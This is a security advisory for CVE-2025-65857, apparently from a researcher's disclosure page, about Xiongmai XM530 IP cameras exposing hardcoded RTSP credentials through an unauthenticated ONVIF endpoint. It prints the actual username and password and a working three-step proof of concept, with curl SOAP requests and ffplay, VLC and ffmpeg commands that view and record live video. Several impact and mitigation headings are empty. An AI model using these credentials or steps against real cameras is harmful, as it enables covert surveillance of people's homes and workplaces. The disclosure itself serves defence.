CVE-2025-65857

Xiongmai XM530 IP Camera Hardcoded RTSP Credentials Exposure


Summary

The GetStreamUri ONVIF endpoint in Xiongmai XM530-series IP cameras exposes RTSP URIs containing hardcoded credentials, enabling direct unauthorized access to live video streams.

CVE ID: CVE-2025-65857
Severity: CRITICAL
CVSS v3.1 Score: 9.1 (Researcher assessment - pending NVD analysis)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

CVSS Breakdown

Official CVSS score will be published by NVD following their analysis.


Affected Products

Vendor: Hangzhou Xiongmai Technology Co., Ltd.
Product: IP Camera XM530V200_X6-WEQ_8M
Commercial Brand: ANBIUX (and hundreds of OEM rebrands)
Firmware: V5.00.R02.000807D8.10010.346624.S.ONVIF 21.06 and likely all V5.00.R02.* versions
Component: ONVIF Media Service - GetStreamUri endpoint

Device Context:
Xiongmai is a major OEM supplier of IP cameras sold under hundreds of brand names globally. These cameras are widely deployed in residential, commercial, and industrial surveillance systems.


Vulnerability Details

The GetStreamUri ONVIF endpoint returns RTSP URIs with hardcoded credentials embedded directly in the URL.

Technical Details:

  1. Hard-coded Credentials (CWE-798)
    • Username: wphd
    • Password: 2MNswbQ5
    • Identical across all tested devices
    • Do not change when admin password is modified
  2. Insufficiently Protected Credentials (CWE-522)
    • Credentials transmitted in plaintext over HTTP
    • Embedded in URI format: rtsp://[IP]:554/user=wphd_password=2MNswbQ5_channel=0_stream=0&onvif=0.sdp?real_stream
    • No encryption or obfuscation
  3. Combined with CVE-2025-65856:
    • GetStreamUri endpoint accessible without authentication
    • Complete zero-click access to live video streams
    • No authentication barriers whatsoever

Impact

An unauthenticated remote attacker can:

Privacy Impact:

Real-world Scenarios:


Proof of Concept

Step 1: Obtain Valid Profile Tokens (No Authentication Required)

curl -X POST http://[CAMERA_IP]:8899/onvif/device_service \
  -H "Content-Type: application/soap+xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope">
  <s:Body xmlns:trt="http://www.onvif.org/ver10/media/wsdl">
    <trt:GetProfiles/>
  </s:Body>
</s:Envelope>'

Response includes available profiles:

Step 2: Extract RTSP URI with Hardcoded Credentials

curl -X POST http://[CAMERA_IP]:8899/onvif/Media \
  -H "Content-Type: application/soap+xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope">
  <s:Body xmlns:trt="http://www.onvif.org/ver10/media/wsdl">
    <trt:GetStreamUri>
      <trt:StreamSetup>
        <tt:Stream xmlns:tt="http://www.onvif.org/ver10/schema">RTP-Unicast</tt:Stream>
        <tt:Transport xmlns:tt="http://www.onvif.org/ver10/schema">
          <tt:Protocol>RTSP</tt:Protocol>
        </tt:Transport>
      </trt:StreamSetup>
      <trt:ProfileToken>000</trt:ProfileToken>
    </trt:GetStreamUri>
  </s:Body>
</s:Envelope>'

Response exposes hardcoded credentials:

<tt:Uri>rtsp://[CAMERA_IP]:554/user=wphd_password=2MNswbQ5_channel=0_stream=0&amp;onvif=0.sdp?real_stream</tt:Uri>

Step 3: Access Video Stream Directly

# Using ffplay
ffplay "rtsp://[CAMERA_IP]:554/user=wphd_password=2MNswbQ5_channel=0_stream=0&onvif=0.sdp?real_stream"

# Using VLC
vlc "rtsp://[CAMERA_IP]:554/user=wphd_password=2MNswbQ5_channel=0_stream=0&onvif=0.sdp?real_stream"

# Using ffmpeg (recording)
ffmpeg -i "rtsp://[CAMERA_IP]:554/user=wphd_password=2MNswbQ5_channel=0_stream=0&onvif=0.sdp?real_stream" -c copy output.mp4

Result: Complete access to live video stream with zero authentication in three simple steps.


Mitigation

For Users (Immediate):

For Vendor:

No patch currently available.


Timeline

Vendor Response: No response received. Official security contact infrastructure non-functional.


Credits

Discovered by: Luis Miranda Acebedo
Location: Vigo, Galicia, Spain
Contact: luis.miranda.acebedo@gmail.com


References

This site is open source. Improve this page.